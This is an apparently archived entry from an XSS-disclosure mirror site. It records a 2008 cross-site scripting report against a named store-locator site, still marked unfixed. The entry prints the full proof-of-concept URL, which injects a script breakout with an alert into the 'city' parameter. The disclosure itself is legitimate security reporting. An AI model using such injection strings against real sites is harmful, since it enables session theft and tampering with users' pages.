Security researcher Kaospunk, has submitted on 02/03/2008 a cross-site-scripting (XSS) vulnerability affecting stores.staples-locator.com, which at the time of submission ranked 38114 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 05/03/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 02/03/2008 |
Date published: 05/03/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Kaospunk |
Domain: stores.staples-locator.com |
Category: XSS |
Pagerank: 38114 |
|---|
URL: http://stores.staples-locator.com/staples/advantage.adp?transaction=search&searchQuantifier=AND&maxS
earchResults=20&pageresults=20&pwidth=475&country=US&county=&address=&city=\';alert(123456789);//&st
ateProvince=AL&postalCode=&recordId=&radius=20&x=14&y=15 |
|
Click here to view the mirror
|
|
|
| 
